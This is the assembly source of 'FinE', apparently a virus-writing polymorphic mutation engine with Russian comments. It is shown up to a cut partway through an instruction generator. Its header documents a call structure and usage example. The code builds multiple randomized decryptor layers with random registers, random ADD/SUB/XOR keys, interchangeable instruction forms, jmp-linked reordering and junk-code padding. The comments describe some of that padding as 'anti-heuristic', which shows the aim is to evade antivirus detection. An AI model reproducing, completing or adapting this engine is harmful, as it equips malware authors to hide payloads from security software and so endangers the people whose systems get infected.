;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                                                                                        ;
;                         xxxxxxxxxxx                        xxxxxxxxxxx                                 ;
;                         xxxxxxxxxxx                        xxxxxxxxxxx                                 ;
;                         xxxx          xxxx   xxxxxxxxxx    xxxx                                        ;
;                         xxxx          xxxx   xxxxxxxxxxx   xxxx                                        ;
;                         xxxxxxxx             xxxx   xxxx   xxxxxxxx                                    ;
;                         xxxxxxxx      xxxx   xxxx   xxxx   xxxxxxxx                                    ;
;                         xxxx          xxxx   xxxx   xxxx   xxxx                                        ;
;                         xxxx          xxxx   xxxx   xxxx   xxxx                                        ;
;                         xxxx          xxxx   xxxx   xxxx   xxxxxxxxxxx                                 ;
;                         xxxx          xxxx   xxxx   xxxx   xxxxxxxxxxx                                 ;
;                                                                                                        ;  
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                   Flying mutatIoN Engine                                               ;
;                                           FinE                                                         ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;                                                                                                        ;
;                                           :)!                                                          ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                       функция FINE                                                     ;
;                                пиздатый полиморфный движок                                             ;
;                                                                                                        ;
;                                                                                                        ;
;ВХОД:                                                                                                   ; 
;1 параметр (и единственный) - адрес структуры (MORPHGEN) (ее описание смотри ниже)                      ;
;--------------------------------------------------------------------------------------------------------;
;ВЫХОД:                                                                                                  ;
;EAX - адрес созданного декриптора с зашифрованным кодом                                                 ;
;ECX - размер созданного декриптора с зашифрованным кодом                                                ;
;+ запись этих же данных в спец. поля структуры (смотри ниже)                                            ;  
;--------------------------------------------------------------------------------------------------------;
;ЗАМЕТКИ:                                                                                                ;
;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после      ;
;вызова полиморфного движка остаются теми же (кроме, полей, специально предназняченных для изменения).   ;
;                                                                                                        ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;  
;                                                                                                        ;
;                                           !                                                            ;
;                                                                                                        ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;                                                                                                        ;
;                                   ОПИСАНИЕ СТРУКТУРЫ                                                   ;
;                                        MORPHGEN                                                        ;
;                           (0 - входной параметр, 1 - выходной)                                         ;
;                                                                                                        ;
;                                                                                                        ;
;MORPHGEN   struct                                                                                       ;
;   rgen_addr           dd  ?   ;адрес Генератора Случайных Чисел (ГСЧ)                             (0)  ;
;   tgen_addr           dd  ?   ;адрес Генератора Мусорных Инструкций                               (0)  ;  
;   cryptcode_addr      dd  ?   ;адрес кода, который надо зашифровать                               (0)  ;
;   size_cryptcode      dd  ?   ;размер кода, который надо зашифровать                              (0)  ;
;   pa_buf_for_morph    dd  ?   ;физ. адрес буфера, куда записать декриптор с шифрованным кодом     (0)  ;
;   va_buf_for_morph    dd  ?   ;вирт. адрес буфера, куда записать декриптор с шифрованным кодом    (0)  ;  
;   buf_with_morph      dd  ?   ;физ. адрес, где расположен созданный декриптор с шифрованным кодом (1)  ;  
;   size_morph          dd  ?   ;размер только что созданного декриптора с шифрованным кодом        (1)  ;
;   mapped_addr         dd  ?   ;зарезервировано   (либо база мэпинга (ака адрес файла в памяти))   (0)  ;   
;   reserv1             dd  ?   ;зарезервировано                                                    (0)  ;  
;MORPHGEN   ends                                                                                         ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                   ОПИСАНИЕ СТРУКТУРЫ                                                   ;
;                                         TGEN                                                           ;
;                                    (aka TRASHGEN)                                                      ; 
;                       (более детальное описание смотри в движке xTG)                                   ; 
;                                                                                                        ;
;                                                                                                        ;
;TRASHGEN   struct                                                                                       ;
;   rgen_addr       dd      ?   ;адрес Генератора Случайных Чисел (ГСЧ)                                  ;
;   buf_for_trash   dd      ?   ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо  ;
;   size_trash      dd      ?   ;размер (в байтах), сколько мусора записать                              ;
;   regs            dd      ?   ;занятые регистры (2 шт)                                                 ;
;   xmask1          dd      ?   ;64-битная маска для генерации                                           ;
;   xmask2          dd      ?   ;мусорных команд (ака фильтр)                                            ;
;   beg_addr        dd      ?   ;начальный адрес                                                         ;
;   end_addr        dd      ?   ;конечный адрес                                                          ;
;   mapped_addr     dd      ?   ;зарезервировано (либо база мэпинга (ака адрес файла в памяти))          ;   
;   reserv1         dd      ?   ;зарезервировано (хз, может когда-то там что и будет)                    ; 
;TRASHGEN   ends                                                                                         ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                           !                                                            ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;                                                                                                        ;
;                           ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ MORPHGEN:                                        ; 
;                                                                                                        ;
;                                                                                                        ;
;[   rgen_addr   ] :                                                                                     ; 
;                    так как данный движок (FINE) разработан без привязки к какому-либо другому мотору,  ;
;                    а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ        ; 
;                    хранится в (данном) поле структуры.                                                 ;
;                    ВАЖНО: если мотор FINE будет использовать другой ГСЧ (а не тот, который             ;
;                    идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го       ;
;                    (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в   ;
;                    диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ;  
;                    Остальные регистры должны остаться неизменными. Все.                                ; 
;--------------------------------------------------------------------------------------------------------; 
;[   tgen_addr   ] :                                                                                     ;
;                    аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора       ;
;                    должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все  ;
;                    тип-топ).                                                                           ;
;--------------------------------------------------------------------------------------------------------;
;[ cryptcode_addr ]                                                                                      ;
;        &                                                                                               ;
;[ size_cryptcode ]:                                                                                     ;
;                    думаю, здесь и так все ясно.                                                        ;
;--------------------------------------------------------------------------------------------------------;
;[pa_buf_for_morph] :                                                                                    ; 
;                    в этом поле передать физический адрес выделенного буфера для создания декриптора.   ;
;                    Буфер можно выделить например VirtualAlloc etc (как угодно). Если не менять         ;
;                    параметры в данном движке, размер этого буфера тогда будет равен:                   ;
;                    0x3000 + размер кода, который надо пошифровать (размер взят с запасом).             ;
;                    Здесь стоит сказать, что:                                                           ;
;                       1) выделенный буфер должен быть обнулен, т.е. состоять только из нулевых байт    ;
;                          (из-за специфики данного движка (смотри исходники));                          ;
;                       2) как узнать, сколько места выделить для данного движка? Считаем: значит,       ;
;                          ( размер кода, который надо пошифровать )                                     ;
;                                           +                                                            ;
;                          ( 30 (max кол-во основных команд, хех, но их столько не наберется) *          ;
;                            порция мусора )                                                             ;
;                                           +                                                            ;
;                          ( 15 (мах длина основной команды) *30 )                                       ;
;                                           +                                                            ;
;                                   на всякий случай                                                     ;
;                    КОРОЧЕ, скажу так: если глюкануло, значит выдели больше места.                      ;
;                    ЕЩЕ: если используется мультидекрипторность, то надо выделить еще больше места.     ;
;                    ЫЩЕ: если вы хотите создать, к примеру, 3 декриптора c порцией мусора 100 байт,     ;
;                         то можно смело выделить 0x5000 байт + размер кода, который надо пошифровать.   ;
;                    Блядь, кому надо, тот разберется.                                                   ;
;--------------------------------------------------------------------------------------------------------;
;[va_buf_for_morph] :                                                                                    ; 
;                    в этом поле можно смело вбить 0. Должно использоваться для заменя команды call в    ;
;                    декрипторе на взаимозаменяемые команды.                                             ;
;--------------------------------------------------------------------------------------------------------;  
;[ buf_with_morph ]:                                                                                     ;
;                    В это поле кладется адрес, где расположен только что созданный декриптор с          ;
;                    шифрованным кодом. Все.                                                             ;
;--------------------------------------------------------------------------------------------------------;
;[  size_morph   ] :                                                                                     ;
;                    В это поле кладется размер (читай выше). И так все понятно.                         ;
;--------------------------------------------------------------------------------------------------------; 
;[  mapped_addr  ] :                                                                                     ;
;                    в это поле кладется база мэпинга (ака адрес файла в памяти). На данный момент в это ; 
;                    поле можно тупо клать 0 или что угодно. Короче, считай, что это поле                ;
;                    зарезервировано. Здесь все.                                                         ;  
;                                                                                                        ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;                         
;                                                                                                        ;
;                                           y0p!                                                         ;
;                                                                                                        ;  
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                           ФИЧИ                                                         ;
;                                                                                                        ;
;                                                                                                        ;
;(+) генерация рэндомных регистров                                                                       ; 
;--------------------------------------------------------------------------------------------------------; 
;(+) генерация рандомных ключей для шифрования                                                           ;                                                                       
;--------------------------------------------------------------------------------------------------------;
;(+) размер декриптора всегда разный                                                                     ; 
;--------------------------------------------------------------------------------------------------------;
;(+) команды декриптора имеют взаимозаменяемые конструкции                                               ; 
;--------------------------------------------------------------------------------------------------------;
;(+) команды декриптора могут не идти друг за другом (связка jmp'ами)                                    ;
;--------------------------------------------------------------------------------------------------------;
;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно)                   ; 
;--------------------------------------------------------------------------------------------------------;
;(+) несколько алгоритмов шифрования кода (ADD/SUB/XOR)                                                  ;
;--------------------------------------------------------------------------------------------------------;
;(+) мультидекрипторность (можно легко дописать рэндомный выбор количества декрипторов)                  ; 
;--------------------------------------------------------------------------------------------------------;
;(+) базонезависимость                                                                                   ;
;--------------------------------------------------------------------------------------------------------;
;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;)              ; 
;       * можно компилить как самостоятельный модуль;                                                    ;            
;--------------------------------------------------------------------------------------------------------; 
;(+) не юзает WinAPI                                                                                     ;
;--------------------------------------------------------------------------------------------------------;
;(+) не использует данные и дельта-смещение, супер для мутации двига.                                    ; 
;                                                                                                        ;              
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                           y0p!                                                         ;
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                                                                                                        ;
;                                       ИСПОЛЬЗОВАНИЕ:                                                   ;
;                                                                                                        ;
;                                                                                                        ;
;1) Подключение:                                                                                         ;
;       FinE.asm                                                                                         ; 
;2) Вызов (пример stdcall):                                                                              ;
;       ...                                                                                              ;
;       szBuf       db 100      dup (00h)                                                                ; 
;       szBuf2      db 5000h    dup (00h) ;! обязательно обнулить!                                       ;
;       ...                                                                                              ;
;       lea     ecx,szBuf                                                                                ;
;       lea     edx,szBuf2                                                                               ;
;       assume  ecx:ptr MORPHGEN                                                                         ;
;       mov     [ecx].rgen_addr,00401000h       ;по этому адресу должен находиться ГСЧ                   ;
;       mov     [ecx].tgen_addr,00401300h       ;по этому адресу должен находиться трэшген               ; 
;       mov     [ecx].cryptcode_addr,00402000h  ;по этому адресу находится код, который мы отмутируем    ; 
;       mov     [ecx].size_cryptcode,100        ;размер этого кода                                       ; 
;       mov     [ecx].pa_buf_for_morph,edx      ;буфер для создания декриптора с шифрованным кодом       ; 
;       mov     [ecx].va_buf_for_morph,0        ;это поле пока что не юзается, поэтому ставим смело 0.   ;
;                                               ;[ecx].buf_with_morph   - выходной параметр              ;
;                                               ;[ecx].size_morph       - выходной параметр              ;   
;                                               ;остальные параметры обнулены.                           ;
;       call    FINE                            ;вызываем полиморфный движок                             ;  
;                                                                                                        ; 
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;                                                                                                        ;
;                                       СКЕЛЕТ ДЕКРИПТОРА:                                               ;
;                                                                                                        ;
;                                                                                                        ;
;       call            imm32           ;здесь вычисляется текущее местонахождение декриптора            ;
;       pop             reg1            ;и сохраняется в регистре reg1                                   ;
;       push            imm32           ;в стэк кладется размер кода, который надо расшифровать          ;
;       add             reg1,imm32      ;регистр reg1 указывает на конец кода, который надо расшифровать ;
;       mov             reg2,imm32      ;в reg2 содержится ключ для расшифровки кода                     ;
;   --> xor/add/sub     [reg1],reg2     ;расшифровка кода                                                ;
;   |   xor/add/sub     reg2,imm32      ;ключ изменяется нехитрым алгоритмом                             ;
;   |   dec             reg1            ;уменьшаем на 1 reg1                                             ;
;   |   dec             [esp]           ;уменьшаем на 1 размер                                           ;
;   ----jne             imm32           ;переход на расшифровку кода                                     ;
;       pop             reg             ;восстанавливаем стэк                                            ;
;                                                                                                        ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; 
;v1.0.1    
;коменты обычно пишутся ночью, поэтому возможен бредняк в них. 




                                                    ;m1x
                                                ;pr0mix@mail.ru
                                            ;EOF 





;======================================================================================================== 

;========================================================================================================
;структура MORPHGEN, необходимая для данного генератора 
;========================================================================================================
MORPHGEN    struct
    rgen_addr           dd      ?
    tgen_addr           dd      ?
    cryptcode_addr      dd      ?
    size_cryptcode      dd      ?
    pa_buf_for_morph    dd      ?
    va_buf_for_morph    dd      ?
    buf_with_morph      dd      ?
    size_morph          dd      ?
    mapped_addr         dd      ? 
    reserv1             dd      ? 
MORPHGEN    ends

;========================================================================================================
;структура TGEN, необходимая для данного генератора (aka TRASHGEN, описание смотри в xTG)  
;========================================================================================================
TGEN    struct
    rgen_addr       dd      ?
    buf_for_trash   dd      ?
    size_trash      dd      ?
    regs            dd      ?
    xmask1          dd      ?
    xmask2          dd      ?
    beg_addr        dd      ?
    end_addr        dd      ?
    mapped_addr     dd      ? 
    reserv1         dd      ?   
TGEN    ends
;========================================================================================================

num_decrypts            equ     3               ;количество создаваемых декрипторов 
mtrash1                 equ     0FFFFFFFFh      ;маска для трэшгена (если он ее юзает) - можно выставить для генерации антиэвристического дерьма или пиздатого хаоса  
mtrash2                 equ     000h            ;вторая половина маски 

num_general_instr       equ     11              ;количество основных команд (команд декриптора, их чуть больше может быть) 
size_general_instr      equ     15              ;максимальный размер одной основной команды  (можно уменьшить, к примеру до 10 etc) 
num_steps               equ     30              ;счетчик (о нем читай ниже) 
portion                 equ     100             ;одна порция мусора 
max_portion             equ     portion*num_general_instr+size_general_instr*num_general_instr  ;максимальный размер одной порции мусора)  - чем меньше это значение, тем меньше вероятность, что команды переставятся в случайном порядке (смотри исходник)   
min_portion             equ     50              ;минимальный размер порции мусора 

addr1                   equ     000h            ;начальный и конечный адреса для трэшгена (если он их юзает) 
addr2                   equ     000h

;======================================================================================================== 








FINE:
    pushad                                      ;save all regs  
    cld
    mov     edx,dword ptr [esp+24h]             ;в edx - указатель на cтруктуру MORPHGEN  
    assume  edx:ptr MORPHGEN
    mov     ecx,[edx].size_cryptcode            ;ecx - размер кода, который надо зашифровать 
    mov     esi,[edx].cryptcode_addr            ;esi - адрес этого кода 
    mov     edi,[edx].pa_buf_for_morph          ;edi - адрес (он же буфер), куда запишем декриптор с зашифрованным кодом
    xor     eax,eax                             ;далее кладем в стэк (и заполняем некоторые поля) структуру TGEN (aka TRASHGEN) 
    push    eax                                 ;reserv1
    push    [edx].mapped_addr                   ;mapped_addr  
    push    addr2                               ;end_addr
    push    addr1                               ;beg_addr (про них читай в движке xTG)
    push    mtrash2                             ;64-битная маска для генерации мусора 
    push    mtrash1
    push    eax;regs                            ;регистры (пока кладем нули, а правильно заполним после, изучай исходники) 
    push    eax;portion                         ;порция мусора, которую надо сгенерировать
    push    eax;buf_for_trash                   ;буфер, куда записывать порцию мусора 
    push    [edx].rgen_addr                     ;ГСЧ 
    mov     ebp,esp                             ;указателем на данную структуру будет регистр ebp
    assume  ebp:ptr TGEN                        ;[ebp+-00]
    mov     eax,num_decrypts                    ;количество декрипторов
_next_decrypt_:
    push    eax                                 ;[ebp-04]
    call    morph                               ;[ebp-08]     ;вызываем функцию создания сего декриптора с шифрованным кодом  
    mov     esi,edi                             ;esi делаем равным началу только что созданного декриптора 
    add     edi,ecx                             ;edi переводим на конец только что созданного декриптора + шифрованный текст  
    pop     eax
    dec     eax                                 ;уменьшаем счетчик
    jnz     _next_decrypt_                      ;есть варик еще замутить декриптор? 
    add     esp,10*4                            ;когда все что надо записали, выравниваем стэк 
    sub     edi,ecx                             ;корректируем edi на начало последнего созданного декриптора 
    mov     [edx].buf_with_morph,edi            ;сохраним это значение в структуре
    mov     [edx].size_morph,ecx                ;а также сохраним размер данного декриптора + шифрованного текста 
    mov     dword ptr [esp+1Ch],edi             ;EAX=EDI
    mov     dword ptr [esp+18h],ecx             ;ECX=ECX   
    popad                                       ;восстанавливаем регистры
    ret     4                                   ;выходим 
;========================================================================================================
morph:
    call    gen_reg                             ;вызываем функцию генерации занятых регистров (используемых) (2 шт)    
    push    edi                                 ;[ebp-12]     сохраняем edi в стэке 
    push    portion                             ;сгенерируем в самом начале 1-ую порцию мусора 
    call    [edx].rgen_addr
    add     eax,41                              ;от коллизий                                        
    call    gen_trash  
;--------------------------------------------------------------------------------------------------------
    push    edi                                 ;[ebp-16]     ;здесь адрес будет изменяться (нужно для поиска свободного рэндомного адреса) 
    push    edi                                 ;[ebp-20]     ;адрес сразу после call $+5 (сохранится после в reg1)     
    call    instr___call                        ;CALL $+value 

    call    instr___pop__reg                    ;POP reg1 

    call    instr___push__imm                   ;PUSH <size> 

    push    edi                                 ;[ebp-24]     ;сохраним это место (в нижевызванной функции его правильно скорректируем), чтобы после написать правильный размер после по этому адресу   
    call    instr___add__reg_imm                ;ADD reg1,<trash+size=адрес конца криптованного кода> 

    push    edi                                 ;[ebp-28]     ;сохраним и это место, здесь после впишем ключ1, по которому и будем расшифровывать данные (код) 
    call    instr___mov__reg_imm                ;MOV reg2,key1 

    push    edi                                 ;[ebp-32]     ;сохраним также и этот адрес, ибо условный переход будет указывать именно сюда  
    push    edi                                 ;[ebp-36]     ;здесь хранится число - какой алг криптовки юзаем   
    call    instr___addxorsub__addrreg_reg      ;ADD/XOR/SUB dword ptr [reg1],reg2  

    push    edi                                 ;[ebp-40]     ;сюда позже впишем ключ2, на этот ключ будет изменяться ключ1  
    push    edi                                 ;[ebp-44]     ;здесь хранится 2-ое число - какой 2-ой ключ для изменения 1-ого ключа юзаем          
    call    instr___addxorsub__reg_imm          ;ADD/XOR/SUB reg2,key2  

    call    instr___dec__reg                    ;DEC reg1 

    call    instr___dec__addresp                ;DEC dword ptr [esp], JNE <value32>  

    call    instr___pop__reg                    ;POP reg  
;--------------------------------------------------------------------------------------------------------    
    push    portion
    call    [edx].rgen_addr                     ;случайным образом определим, сколько мусора (в байтах) записать 
    push    eax
    add     eax,ecx                             ;добавим размер данных, которые надо будет расшифровать декриптором 
    call    goto_free_addr                      ;и вызовем функцию получения случайного свободного адреса в заданном (заранее) промежутке, и по этому адресу и будем сейчас записывать 

    add     eax,(max_portion+portion+portion+min_portion)   ;также скорректируем (чтобы все правильно отработало) данный размер    
    add     dword ptr [ebp-16],eax              ;и добавим к изменяющемуся адресу (он указывает теперь на свободное место, куда будем записывать очередной декриптор etc)  
    pop     eax
    call    gen_trash                           ;генерируем порцию мусора  
;--------------------------------------------------------------------------------------------------------
    push    -1
    call    [edx].rgen_addr
    xchg    eax,ebx                             ;в ebx теперь хранится ключ1 
    push    -1
    call    [edx].rgen_addr
    push    eax                                 ;[ebp-48]     ;а в стэке теперь хранится ключ2 
;--------------------------------------------------------------------------------------------------------
    mov     eax,dword ptr [esi]                 ;и начинаем шифровать код 
    add     esi,4  
_crypt_:
    ;mov        eax,dword ptr [esi]
    cmp     dword ptr [ebp-36],1                ;optimization!     ;смотрим, какой алгоритм шифровки мы выбирали, и выбираем симметричный алг расшифровки 
    jl      _xor03_                                                         
    jg      _add03_
_sub03_:
    sub     eax,ebx
    jmp     _chg_key1_

_add03_:
    add     eax,ebx
    jmp     _chg_key1_ 

_xor03_: 
    xor     eax,ebx

_chg_key1_:
    cmp     ecx,1                               ;optimization!     ;смотрим, это последняя итерация? если да, то изменять ключ1 на ключ2 уже не надо  
    je      _write_crypt_data_ 
    cmp     dword ptr [ebp-44],1                ;optimization!     ;смотрим какой алг мы использовали для изменения ключ1 (на ключ2) 
    jl      _xor04_
    jg      _add04_
_sub04_:
    sub     ebx,dword ptr [esp]
    jmp     _write_crypt_data_

_add04_:
    add     ebx,dword ptr [esp]
    jmp     _write_crypt_data_

_xor04_:
    xor     ebx,dword ptr [esp]
     
_write_crypt_data_:
    mov     dword ptr [edi],eax
    inc     edi
    lodsb
    ror     eax,8                               ;берем следующий байт, и начинаем шифровать дальше  
    ;inc        esi
    loop    _crypt_
;--------------------------------------------------------------------------------------------------------           
    pop     ecx                                 ;key2

    pop     eax
    pop     eax
    mov     dword ptr [eax],ecx                 ;вытаскиваем из стэка ранее сохраненный ключ2 и адрес, по которому и запишем в декриптор данный ключик  

    pop     eax
    pop     eax    
    pop     eax
    mov     dword ptr [eax],ebx                 ;вытаскиваем из стэка адрес, по которому и запишем в декриптор ключ1  

    dec     edi                                 ;корректируем edi 
    xchg    eax,edi                             ;далее вытаскиваем адрес, по которому надо записать размер шифрованных байт + мусор (то есть reg1 должен указывать на конец шифрованного кода) 
    pop     edi
    pop     esi
    sub     eax,esi
    test    byte ptr [edi-1],20h;0E8h           ;после смотрим, какая команда была записана: ADD или SUB ? и в заисимости от этого изменяем знак регистра 
    je      _addregimm_
_subregimm_:
    neg     eax
_addregimm_: 
    stosd  

    pop     ecx                                 ;получаем адрес, по которому можно будет записывать новый декриптор (он больше чем тот, что в edi) 
    pop     edi                                 ;получаем адрес начала только что записанного декриптора 
    sub     ecx,edi                             ;вычисляем и сохраняем в ecx размер только что записанного декриптора + шифрованного кода  
                
    ret                                         ;выходим
;========================================================================================================    





;=====================================[CALL $+value]=====================================================
instr___call: 
    push    portion
    call    [edx].rgen_addr                     ;получаем рэндомно размер 1-ой порции мусора, которую будем генерить и записывать 
    push    eax                                 ;сохраняем 
    push    portion
    call    [edx].rgen_addr                     ;получаем рэндомно размер 2-ой порции мусора
    push    eax                                 ;сохраняем и его 
    push    portion
    call    [edx].rgen_addr                     ;получаем рэндомно размер 3-ей порции мусора 
    push    eax                                 ;и его также сохраняем в стэке 
    add     eax,dword ptr [esp+4]
    add     eax,dword ptr [esp+8]               ;получаем общий размер  
    call    goto_free_addr                      ;получаем рэндомный свободный адрес в заранее заданном промежутке, по которому вместится столько мусора + нужная команда (в данном варике это call $+5) 
    pop     eax                                 ;вытаскиваем из стэка ранее сохраненный размер мусора 
    call    gen_trash                           ;герерим мусор
    mov     al,0E8h                             ;далее генерим команду CALL $+value 
    stosb
    pop     eax
    stosd
    mov     dword ptr [ebp-20],edi 
    call    gen_trash                           ;записываем очередную порцию мусора  
    pop     eax
    call    gen_trash                           ;etc  
    
    ret                                         ;на выход  
;=====================================[CALL $+value]===================================================== 





;=======================================[POP reg1]=======================================================  
instr___pop__reg:
    push    portion                             ;etc (смотри выше) 
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4]  
    call    goto_free_addr
    pop     eax
    call    gen_trash 
;--------------------------------------------------------------------------------------------------------
    push    2                                   ;далее смотрим, какую команду генерить?
    call    [edx].rgen_addr
    test    eax,eax
    je      _pop__reg1_                         ;POP reg1 или
;--------------------------------------------------------------------------------------------------------
_mov__reg1_addresp___add__esp_4_:               ;MOV reg1,[esp]   add esp,4    ? 
    mov     al,8Bh
    stosb
    mov     al,bh
    shl     eax,3
    add     al,4
    stosb
    mov     al,24h
    stosb
    pop     eax
    call    gen_trash 
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4]
    call    goto_free_addr
    pop     eax
    call    gen_trash
    mov     ax,0C483h
    stosw
    mov     al,04
    jmp     _iprendtrash_ 
;--------------------------------------------------------------------------------------------------------
_pop__reg1_:
    mov     al,58h
    add     al,bh

_iprendtrash_: 
    stosb
    pop     eax
    call    gen_trash 
    ret
;=======================================[POP reg1]======================================================= 





;=======================================[PUSH imm]======================================================= 
instr___push__imm:
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4]
    call    goto_free_addr
    pop     eax
    call    gen_trash
;--------------------------------------------------------------------------------------------------------
    push    2                                   ;PUSH imm или 
    call    [edx].rgen_addr                     ;MOV reg2,imm   PUSH reg2      ? 
    test    eax,eax
    je      _push__imm_
;--------------------------------------------------------------------------------------------------------
_mov__reg2_imm___push__reg2_:
    mov     al,0B8h
    add     al,bl
    stosb 
    mov     eax,ecx
    stosd
    pop     eax
    call    gen_trash
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4]
    call    goto_free_addr
    pop     eax
    call    gen_trash  

    mov     al,50h
    add     al,bl
    stosb
    jmp     _ipiendtrash_ 
;--------------------------------------------------------------------------------------------------------
_push__imm_:
    mov     al,68h
    stosb
    mov     eax,ecx
    stosd

_ipiendtrash_: 
    pop     eax
    call    gen_trash  
    ret 
;=======================================[PUSH imm]======================================================= 





;=====================================[ADD reg1,imm]===================================================== 
instr___add__reg_imm:
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4] 
    call    goto_free_addr
    pop     eax
    call    gen_trash 
    mov     al,81h
    stosb 
;--------------------------------------------------------------------------------------------------------
    push    2                                   ;ADD reg1,imm или 
    call    [edx].rgen_addr                     ;SUB reg1,-imm     ?  
    imul    eax,28h
    add     al,0C0h
    add     al,bh
    stosb
;--------------------------------------------------------------------------------------------------------
    mov     dword ptr [ebp-24],edi 
    xor     eax,eax
    stosd 
    pop     eax 
    call    gen_trash 
    ret
;=====================================[ADD reg1,imm]=====================================================  





;=====================================[MOV reg2,imm]===================================================== 
instr___mov__reg_imm:
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4]
    call    goto_free_addr
    pop     eax
    call    gen_trash
;--------------------------------------------------------------------------------------------------------
    push    2                                   ;MOV reg2,imm или 
    call    [edx].rgen_addr                     ;PUSH imm   POP reg2     ?  
    test    eax,eax
    je      _mov__reg_imm_
;--------------------------------------------------------------------------------------------------------
_push__imm___pop__reg_:
    mov     al,68h
    stosb
    mov     dword ptr [ebp-28],edi
    xor     eax,eax
    stosd
    pop     eax
    call    gen_trash 
    push    portion                  
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4]
    call    goto_free_addr
    pop     eax
    call    gen_trash
    mov     al,58h
    add     al,bl
    stosb
    jmp     _mriendtrash_ 
;-------------------------------------------------------------------------------------------------------- 
_mov__reg_imm_: 
    mov     al,0B8h
    add     al,bl
    stosb
    mov     dword ptr [ebp-28],edi
    xor     eax,eax
    stosd
_mriendtrash_: 
    pop     eax
    call    gen_trash   
    ret
;=====================================[MOV reg2,imm]=====================================================  





;===============================[ADD/SUB/XOR [reg1],reg2]================================================ 
instr___addxorsub__addrreg_reg:
    push    portion
    call    [edx].rgen_addr
    push    eax
    push    portion
    call    [edx].rgen_addr
    push    eax
    add     eax,dword ptr [esp+4]
    call    goto_free_addr
    pop     eax
    mov     dword ptr [ebp-32],edi 
    call    gen_trash
;--------------------------------------------------------------------------------------------------------
    push    3                                   ;ADD, SUB, или XOR      ? 
    call    [edx].rgen_addr
    mov     dword ptr [ebp-36],eax
;-------------------------------------------------------------------------------------------------------- 
    cmp     al,1
    jl      _xor01_
